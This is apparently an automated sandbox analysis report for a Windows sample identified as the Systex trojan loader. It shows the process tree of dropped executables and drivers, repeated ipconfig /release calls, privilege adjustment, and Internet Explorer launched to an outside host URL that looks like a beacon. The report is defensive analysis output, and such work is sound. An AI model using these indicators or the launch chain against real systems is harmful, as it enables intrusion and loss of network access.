Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
17/05/2026, 11:19
General
- Target 2026-05-17_c39546a5ae4c2874cdca24df1f0e5735_amadey_darkgate_elex_smoke-loader_stop.exe
- Size 384KB
- Sample260517-nfbbesbt9p
- SHA256 67be3384da22e8ba6f2a6755d9c830b5bf6c7ac2a6c019b055aade4738e50b12
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 25 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_c39546a5ae4c2874cdca24df1f0e5735_amadey_darkgate_elex_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-17_c39546a5ae4c2874cdca24df1f0e5735_amadey_darkgate_elex_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\xupnhfzxrpkhcaus.exeC:\Temp\xupnhfzxrpkhcaus.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\causmkecxu.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\causmkecxu.exeC:\Temp\causmkecxu.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_causmkecxu.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_causmkecxu.exeC:\Temp\i_causmkecxu.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pjhczurmke.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pjhczurmke.exeC:\Temp\pjhczurmke.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pjhczurmke.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_pjhczurmke.exeC:\Temp\i_pjhczurmke.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mgeywrojhb.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\mgeywrojhb.exeC:\Temp\mgeywrojhb.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mgeywrojhb.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_mgeywrojhb.exeC:\Temp\i_mgeywrojhb.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\geywqojgbz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\geywqojgbz.exeC:\Temp\geywqojgbz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_geywqojgbz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_geywqojgbz.exeC:\Temp\i_geywqojgbz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\trljdbwlge.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\trljdbwlge.exeC:\Temp\trljdbwlge.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_trljdbwlge.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_trljdbwlge.exeC:\Temp\i_trljdbwlge.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dyvqooigbq.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\dyvqooigbq.exeC:\Temp\dyvqooigbq.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dyvqooigbq.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_dyvqooigbq.exeC:\Temp\i_dyvqooigbq.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gaysqkidav.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\gaysqkidav.exeC:\Temp\gaysqkidav.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_gaysqkidav.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_gaysqkidav.exeC:\Temp\i_gaysqkidav.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\smkfcxvpnh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\smkfcxvpnh.exeC:\Temp\smkfcxvpnh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_smkfcxvpnh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_smkfcxvpnh.exeC:\Temp\i_smkfcxvpnh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\cwupmhfzxr.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\cwupmhfzxr.exeC:\Temp\cwupmhfzxr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_cwupmhfzxr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_cwupmhfzxr.exeC:\Temp\i_cwupmhfzxr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\upmhfzxrpk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\upmhfzxrpk.exeC:\Temp\upmhfzxrpk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_upmhfzxrpk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_upmhfzxrpk.exeC:\Temp\i_upmhfzxrpk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mhezxrpjhb.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\mhezxrpjhb.exeC:\Temp\mhezxrpjhb.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mhezxrpjhb.exe ups_ins3⤵
-
C:\Temp\i_mhezxrpjhb.exeC:\Temp\i_mhezxrpjhb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bwtomgbztr.exe ups_run3⤵
-
C:\Temp\bwtomgbztr.exeC:\Temp\bwtomgbztr.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bwtomgbztr.exe ups_ins3⤵
-
C:\Temp\i_bwtomgbztr.exeC:\Temp\i_bwtomgbztr.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tolgeywqoi.exe ups_run3⤵
-
C:\Temp\tolgeywqoi.exeC:\Temp\tolgeywqoi.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tolgeywqoi.exe ups_ins3⤵
-
C:\Temp\i_tolgeywqoi.exeC:\Temp\i_tolgeywqoi.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tolgdywqoi.exe ups_run3⤵
-
C:\Temp\tolgdywqoi.exeC:\Temp\tolgdywqoi.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tolgdywqoi.exe ups_ins3⤵
-
C:\Temp\i_tolgdywqoi.exeC:\Temp\i_tolgdywqoi.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\faysqlidav.exe ups_run3⤵
-
C:\Temp\faysqlidav.exeC:\Temp\faysqlidav.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_faysqlidav.exe ups_ins3⤵
-
C:\Temp\i_faysqlidav.exeC:\Temp\i_faysqlidav.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xvpnhfaxsq.exe ups_run3⤵
-
C:\Temp\xvpnhfaxsq.exeC:\Temp\xvpnhfaxsq.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xvpnhfaxsq.exe ups_ins3⤵
-
C:\Temp\i_xvpnhfaxsq.exeC:\Temp\i_xvpnhfaxsq.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nhfzxspkic.exe ups_run3⤵
-
C:\Temp\nhfzxspkic.exeC:\Temp\nhfzxspkic.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nhfzxspkic.exe ups_ins3⤵
-
C:\Temp\i_nhfzxspkic.exeC:\Temp\i_nhfzxspkic.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nhfzxspkhc.exe ups_run3⤵
-
C:\Temp\nhfzxspkhc.exeC:\Temp\nhfzxspkhc.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nhfzxspkhc.exe ups_ins3⤵
-
C:\Temp\i_nhfzxspkhc.exeC:\Temp\i_nhfzxspkhc.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zwrpjhbzur.exe ups_run3⤵
-
C:\Temp\zwrpjhbzur.exeC:\Temp\zwrpjhbzur.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zwrpjhbzur.exe ups_ins3⤵
-
C:\Temp\i_zwrpjhbzur.exeC:\Temp\i_zwrpjhbzur.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2388 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\xupnhfzxrpkhcaus.sysC:\Temp\xupnhfzxrpkhcaus.sys1⤵
- Executes dropped EXE
-
C:\Temp\bzurmkecwu.sysC:\Temp\bzurmkecwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\wrpjhbztrm.sysC:\Temp\wrpjhbztrm.sys1⤵
- Executes dropped EXE
-
C:\Temp\ztrmjebwuo.sysC:\Temp\ztrmjebwuo.sys1⤵
- Executes dropped EXE
-
C:\Temp\eywqoigbyt.sysC:\Temp\eywqoigbyt.sys1⤵
- Executes dropped EXE
-
C:\Temp\ljdbvtnlgd.sysC:\Temp\ljdbvtnlgd.sys1⤵
- Executes dropped EXE
-
C:\Temp\qkidavtnlf.sysC:\Temp\qkidavtnlf.sys1⤵
- Executes dropped EXE
-
C:\Temp\dxsqkicaus.sysC:\Temp\dxsqkicaus.sys1⤵
- Executes dropped EXE
-
C:\Temp\spkicausmk.sysC:\Temp\spkicausmk.sys1⤵
- Executes dropped EXE
-
C:\Temp\czusmkecwu.sysC:\Temp\czusmkecwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\xrmjecwuom.sysC:\Temp\xrmjecwuom.sys1⤵
- Executes dropped EXE
-
C:\Temp\jhbztrljeb.sysC:\Temp\jhbztrljeb.sys1⤵
-
C:\Temp\lgeywqojgb.sysC:\Temp\lgeywqojgb.sys1⤵
-
C:\Temp\bvtnlgdyvq.sysC:\Temp\bvtnlgdyvq.sys1⤵
-
C:\Temp\tnigaysqli.sysC:\Temp\tnigaysqli.sys1⤵
-
C:\Temp\icavsnkfdx.sysC:\Temp\icavsnkfdx.sys1⤵
-
C:\Temp\cxvpnhfzxs.sysC:\Temp\cxvpnhfzxs.sys1⤵
-
C:\Temp\upmhfzxrpk.sysC:\Temp\upmhfzxrpk.sys1⤵
-
C:\Temp\kecwuomhez.sysC:\Temp\kecwuomhez.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
bzurmkecwu.sys
causmkecxu.exe
dxsqkicaus.sys
dyvqooigbq.exe
eywqoigbyt.sys
gaysqkidav.exe
geywqojgbz.exe
i_causmkecxu.exe
i_dyvqooigbq.exe
i_gaysqkidav.exe
i_geywqojgbz.exe
i_mgeywrojhb.exe
i_pjhczurmke.exe
i_trljdbwlge.exe
ljdbvtnlgd.sys
mgeywrojhb.exe
pjhczurmke.exe
qkidavtnlf.sys
smkfcxvpnh.exe
trljdbwlge.exe
wrpjhbztrm.sys
xupnhfzxrpkhcaus.exe
xupnhfzxrpkhcaus.sys
ztrmjebwuo.sys
suggestions[1].en-US
memory/360-138-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/360-122-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1236-76-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1792-100-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2256-88-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2684-155-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2956-142-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2960-150-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3212-159-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3352-26-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3532-38-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3816-19-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3836-134-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4028-146-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4028-151-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4268-62-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4868-126-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4876-130-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4880-108-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4960-50-0x0000000000010000-0x00000000000AB000-memory.dmp